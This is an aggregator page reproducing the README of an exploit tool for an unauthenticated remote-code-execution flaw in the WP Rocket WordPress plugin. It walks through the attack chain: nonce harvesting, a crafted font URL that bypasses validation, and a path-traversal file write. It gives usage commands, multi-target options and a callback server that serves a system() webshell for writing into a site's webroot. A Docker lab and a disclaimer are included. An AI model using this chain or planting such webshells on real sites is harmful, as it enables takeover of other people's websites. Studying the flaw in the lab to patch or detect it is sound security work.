Skip to content
Projetos

Sobre

WP Rocket < 3.24.2 | Unauthenticated Remote Code Execution (CVSS 9.8) | CVE-2026-125812

Segurança e privacidade

Como estes números são medidos

O que você pode fazer

  • Fully unauthenticated : Uses WP Rocket's own nopriv AJAX endpoint
  • Target fingerprinting : Server, PHP version, WordPress version, beacon status
  • Multi-target : Supply a file with one URL per line via -targets
  • Minimal PoC : Stripped-down version in CVE-2026-125812.min.py

Crescimento medido de estrelas

em 24 h
0
em 7 dias
Coletando histórico
em 15 dias
Coletando histórico
em 1 mês
Coletando histórico

Variações líquidas em períodos sobrepostos, não totais diários. Medições ausentes ficam em branco. Estrelas indicam interesse, não qualidade.

README.md

Original

CVE-2026-125812

WP Rocket < 3.24.2 | Unauthenticated Remote Code Execution

CVSS 9.8 Python

CVE-2026-125812 Demo

Description

Path traversal vulnerability in WP Rocket's font optimization pipeline allows unauthenticated attackers to write arbitrary files to the WordPress webroot. The attack chain requires only two HTTP requests and no authentication.

Affected: WP Rocket < 3.24.2
CVSS: 9.8 (Critical)
CWE: CWE-22 (Path Traversal)

How it works

  1. Harvest nonce : GET any public page, extract the beacon nonce from rocket_beacon_data (identical for all anonymous visitors)
  2. Inject font URL : POST to wp_ajax_nopriv_rocket_beacon with a crafted preload_fonts URL that embeds //fonts.googleapis.com/css (bypasses is_google_font_url())
  3. Trigger write : On the next page visit, WP Rocket's font optimization pipeline fetches the CSS from the attacker's callback, parses the url() inside it, downloads the "font" content, and writes it to disk via an unvalidated path that traverses out of the fonts cache directory

Features

  • Fully unauthenticated : Uses WP Rocket's own nopriv AJAX endpoint
  • Target fingerprinting : Server, PHP version, WordPress version, beacon status
  • Multi-target : Supply a file with one URL per line via -targets
  • Minimal PoC : Stripped-down version in CVE-2026-125812.min.py

Installation

Linux / macOS

git clone https://github.com/joshuavanderpoll/CVE-2026-125812.git
cd CVE-2026-125812
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

git clone https://github.com/joshuavanderpoll/CVE-2026-125812.git
cd CVE-2026-125812
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt

Usage

python3 CVE-2026-125812.py <target> <callback_url> [options]
Option Description
-targets <file> File with target URLs (one per line)
-useragent <string> Custom User-Agent header
-timeout <seconds> Request timeout (default: 10)

The callback server must handle two requests during the attack chain:

  1. GET //fonts.googleapis.com/css2/x.woff2 returns CSS with a path-traversal url()
  2. GET /<traversal-path> returns the file content to write (e.g. a PHP shell)

See server/ for a ready-to-deploy callback server with nginx config and documentation.

Example

python3 CVE-2026-125812.py http://target.com https://your-callback.com

Quick check

Verify the vulnerability without setting up your own callback server, using a safe public endpoint that writes a confirmation string instead of a shell:

python3 CVE-2026-125812.py http://localhost:8080 https://this-is-for-public-research.hackindex.io

Note: WP Rocket caches font pipeline results after the first run. The exploit can only trigger once per page. Run docker/reset.sh to clear the cache between attempts.

Docker lab

A local Docker environment with WordPress 6.6, WP Rocket 3.24.1, and a callback server for safe testing.

cd docker/
docker compose up -d

This starts:

  • WordPress on http://localhost:8080 with WP Rocket pre-installed, activated, and configured with font optimization enabled
  • Callback server on https://callback (Docker internal), serving a system() webshell payload
python3 CVE-2026-125812.py http://localhost:8080 https://callback

Reset between runs

bash docker/reset.sh

Truncates beacon tables, clears WP Rocket page and font caches, and removes the shell file.

Callback server

The server/ directory contains a complete callback server setup:

  • index.php : PHP callback handler (uses system() for real exploitation)
  • nginx.conf : Example nginx config with merge_slashes off (required for the //fonts.googleapis.com URL to reach PHP intact)
  • README.md : Full setup documentation

References

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author assumes no liability for misuse. See SECURITY.md.

Explore projetos relacionados

Carregando…